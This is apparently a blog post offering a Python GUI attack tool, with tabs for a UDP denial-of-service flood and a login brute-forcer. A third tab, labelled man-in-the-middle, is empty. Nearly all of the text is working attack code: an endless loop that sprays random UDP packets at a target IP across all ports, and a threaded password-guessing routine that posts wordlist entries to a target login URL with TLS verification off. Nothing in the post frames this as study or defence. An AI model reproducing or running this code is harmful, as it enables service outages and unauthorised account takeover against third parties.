DDOS Attack

 import socket

import random
import time
import threading
import tkinter as tk
from tkinter import ttk
import requests
import sys
import asyncio
import concurrent.futures

# Global variable to track the cancel flag
cancel_flag = False


class BruteForceCracker:
def __init__(self, url, username, error_message, update_status):
self.url = url
self.username = username
self.error_message = error_message
self.update_status = update_status

banner = """
Checking the Server !!
[+]█████████████████████████████████████████████████[+]
"""

for run in banner:
sys.stdout.write(run)
sys.stdout.flush()
time.sleep(0.02)

def crack(self, password):
data_dict = {"LogInID": self.username, "Password": password, "Log In": "submit"}
response = requests.post(self.url, data=data_dict, verify=False)
if self.error_message in str(response.content):
self.update_status(f"Error occurred for password: {password}")
return False
elif "CSRF" in str(response.content) or "csrf" in str(response.content):
self.update_status("CSRF Token Detected!! BruteForce Not Working This Website.")
sys.exit()
else:
self.update_status(f"Username: ---> {self.username}")
self.update_status(f"Password: ---> {password}")
return True


async def crack_passwords(passwords, cracker):
loop = asyncio.get_running_loop()
with concurrent.futures.ThreadPoolExecutor() as pool:
crack_tasks = [
loop.run_in_executor(pool, cracker.crack, password.strip())
for password in passwords
]
results = await asyncio.gather(*crack_tasks)
return results


def attack(ip, port):
global cancel_flag
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
sent = 0

while True:
if cancel_flag:
break

sock.sendto(bytes, (ip, port))
sent = sent + 1
port = port + 1

if port == 65534:
port = 1


def start_attack():
global cancel_flag
global attack_button

# Disable the Attack button to prevent consecutive pressing
attack_button.config(state=tk.DISABLED)
cancel_flag = False

ip = ip_entry.get()
port_str = port_entry.get()

if not ip:
display_message("Please enter an IP address.")
attack_button.config(state=tk.NORMAL) # Re-enable button
return

if not port_str:
display_message("Please enter a port number.")
attack_button.config(state=tk.NORMAL) # Re-enable button
return

try:
port = int(port_str)
except ValueError:
display_message("Please enter a valid port number.")
attack_button.config(state=tk.NORMAL) # Re-enable button
return

# Set up the loading screen
display_message("Loading...")
root.update_idletasks() # Update the UI

def update_progress(count=0):
if count < 10 and not cancel_flag:
display_message("Loading" + "." * count)
root.after(1000, update_progress, count + 1)
else:
display_message("Attacking..")

# Start attack in a separate thread
attack_thread = threading.Thread(target=attack, args=(ip, port))
attack_thread.start()

# Re-enable the Attack button after starting the attack
root.after(100, lambda: attack_button.config(state=tk.NORMAL))

update_progress()


def cancel_attack():
global cancel_flag
cancel_flag = True
display_message("Attack canceled.")


def disable_attack_button():
global attack_button
attack_button.config(state=tk.DISABLED)


def change_tab(event):
selected_tab = tab_control.index(tab_control.select())
display_message(f"Selected Tab: {tabs[selected_tab]}")


def display_message(message):
text_area.insert(tk.END, message + "\n")
text_area.see(tk.END) # Scroll to the end of the text area


root = tk.Tk()
root.title("Interactive Messages")

window_width = 400
window_height = 400
screen_width = root.winfo_screenwidth()
screen_height = root.winfo_screenheight()
x_coordinate = int((screen_width / 2) - (window_width / 2))
y_coordinate = int((screen_height / 2) - (window_height / 2))
root.geometry("{}x{}+{}+{}".format(window_width, window_height, x_coordinate, y_coordinate))

bg_color = "#f0f0f0" # Light gray background color
entry_bg_color = "#ffffff" # White input field background color
button_color = "#0078d4" # Windows blue color for button
button_text_color = "#ffffff" # White text color for button


root.config(bg=bg_color)


tab_control = ttk.Notebook(root)

tabs = ["D-DOS Attack", "Brute Force Attack", "Man in the middle Attack"]

# Creating content for each tab
frames = [] # Store frame references
for tab in tabs:
frame = ttk.Frame(tab_control)
tab_control.add(frame, text=tab)
frames.append(frame)

# Content for the first tab
frame1 = frames[0] # Get the first tab frame
ip_label = tk.Label(frame1, text="IP Target:", bg=bg_color)
ip_label.pack()
ip_entry = tk.Entry(frame1, bg=entry_bg_color, justify="left") # Aligns text to the left
ip_entry.pack()

port_label = tk.Label(frame1, text="Port:", bg=bg_color)
port_label.pack()
port_entry = tk.Entry(frame1, bg=entry_bg_color, justify="left") # Aligns text to the left
port_entry.pack()

attack_button = tk.Button(frame1, text="Start Attack", command=start_attack, bg=button_color, fg=button_text_color)
attack_button.pack(pady=5)

cancel_button = tk.Button(frame1, text="Cancel", command=cancel_attack, bg="#dc3545", fg=button_text_color)
cancel_button.pack()

# Adding text area to display messages
text_area = tk.Text(root, height=5, width=50)
text_area.pack(side=tk.BOTTOM, fill=tk.BOTH, expand=True)


frame2 = frames[1] # Get the second tab frame


# URL Input, Username Input, Error Message Input - (Same as previous code)

# URL Input
url_label = tk.Label(frame2, text="Target URL:", bg=bg_color)
url_label.pack()
url_entry = tk.Entry(frame2, bg=entry_bg_color, justify="left") # Aligns text to the left
url_entry.pack()

# Username Input
username_label = tk.Label(frame2, text="Username:", bg=bg_color)
username_label.pack()
username_entry = tk.Entry(frame2, bg=entry_bg_color, justify="left") # Aligns text to the left
username_entry.pack()

# Error Message Input
error_label = tk.Label(frame2, text="Wrong Password Error Message:", bg=bg_color)
error_label.pack()
error_entry = tk.Entry(frame2, bg=entry_bg_color, justify="left") # Aligns text to the left
error_entry.pack()

status_label = tk.Label(frame2, text="Status:", bg=bg_color)
status_label.pack()

status_text = tk.Text(frame2, height=5, width=50)
status_text.pack(side=tk.BOTTOM, fill=tk.BOTH, expand=True)


async def start_brute_force():
url = url_entry.get()
username = username_entry.get()
error = error_entry.get()

def update_status(message):
display_message(message)

cracker = BruteForceCracker(url, username, error, update_status)

with open("passwords.txt", "r") as f:
chunk_size = 1000
while True:
passwords = f.readlines(chunk_size)
if not passwords:
break

results = await crack_passwords(passwords, cracker)
# Process results or take necessary action based on the cracking outcomes


def brute_force():
loop = asyncio.get_event_loop()
loop.create_task(start_brute_force())


start_button = tk.Button(frame2, text="Start Attack", command=brute_force, bg=button_color, fg=button_text_color)
start_button.pack(pady=5)


tab_control.bind("<<NotebookTabChanged>>", change_tab)
tab_control.pack(expand=1, fill="both")

root.mainloop()

Comments

Popular posts from this blog

Generative AI Model for text summarization

maintext/ react

Resume description for AI/ ML Developer